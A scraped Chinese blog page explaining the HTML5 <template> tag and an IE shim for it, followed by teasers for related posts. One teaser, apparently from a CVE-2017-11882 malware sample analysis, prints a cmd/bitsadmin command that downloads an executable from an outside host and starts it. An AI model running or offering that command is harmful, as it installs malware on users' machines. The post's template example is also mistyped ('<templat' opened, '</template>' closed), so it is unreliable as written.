文档章节

html5的templte标签

XuYuan
 XuYuan
发布于 2014/06/27 10:25
字数 197
阅读 126
收藏 6

一般我们使用<script type='text/html'></script>来定义前端的模板。可是如果这模板中包含有嵌套的<script>标签,那么在ie8/9等浏览器中就不能正常工作。好在HTML5提供了一个专门的template标签专门用于前端模板的定义。

与其他常用HTML5标签不同的是,即使是最新的IE11仍然不支持此标签。那么我们只能按照html5shim的方式为IE创建此标签即可。也就是在<haead>中通过document.createElement('template')来让IE识别此标签,然后在标签上定义样式来隐藏模板即可。

如:

<!DOCTYPE html>
<html>
    <head>
        <!--[if IE]>
            <script>document.createElement('template');</script>
            <style>template{display:none;}</style>
        <![endif]-->
    </head>
    <body>
        <templat style='display:none'>
            ....
        </template>
    </body>
</html>





© 著作权归作者所有

共有 人打赏支持
XuYuan
粉丝 14
博文 24
码字总数 12461
作品 0
石家庄
架构师
网站页面间脚本传至 sessionStorage

sessionStorage、localStorage详解 webstorage是本地存储,存储在客户端,包括localStorage和sessionStorage。在JavaScript语言中可通过 window.sessionStorage 或 sessionStorage 调用此对象...

小仙女KOMons
07/10
0
0
HTML5和CSS3不仅仅是两项新的Web技术标准

HTML5和CSS3不仅仅是两项新的Web技术标准 HTML5和CSS3不仅仅是两项新的Web技术标准,更代表了下一代HTML和CSS技术。虽然HTML5的标准规范还没有正式发布,但是未来的发展前景已经可以预见,那...

课工场CC老师
2017/10/24
0
0
给网页设计师的30个HTML5学习资源

早在几个星期前,Adobe就发布了Dreamweaver CS5 HTML5 Pack的预览版下载。众所周知,HTML5在互联网领域掀起了一场大论战,并让Adobe的日子很难熬。HTML5致力于为前端开发提供全面的标记语 言...

晨曦之光
2012/03/09
0
0
HTML5大纲算法(HTML5 Outliner)

HTML5大纲算法(HTML5 Outliner) 1、HTML5大纲算法 合理的使用HTML5元素标签,可以生成一个条例非常清晰的网站文档大纲。 测试网站地址:https://gsnedders.html5.org/outliner/ <section>...

Owen_Gao
2015/07/27
0
0
HTML5学习之Web Storage基础知识

HTML5 Web 存储 在HTML5 Web Storage还没出来之前,本地存储使用的是 cookie. 但是Web 存储需要更加的安全与快速,这些数据不会被保存在服务器上,但是这些数据只用于用户请求网站数据上.它也可...

CHIEMINCHAN
05/11
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
15分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
28分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
29分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
40分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部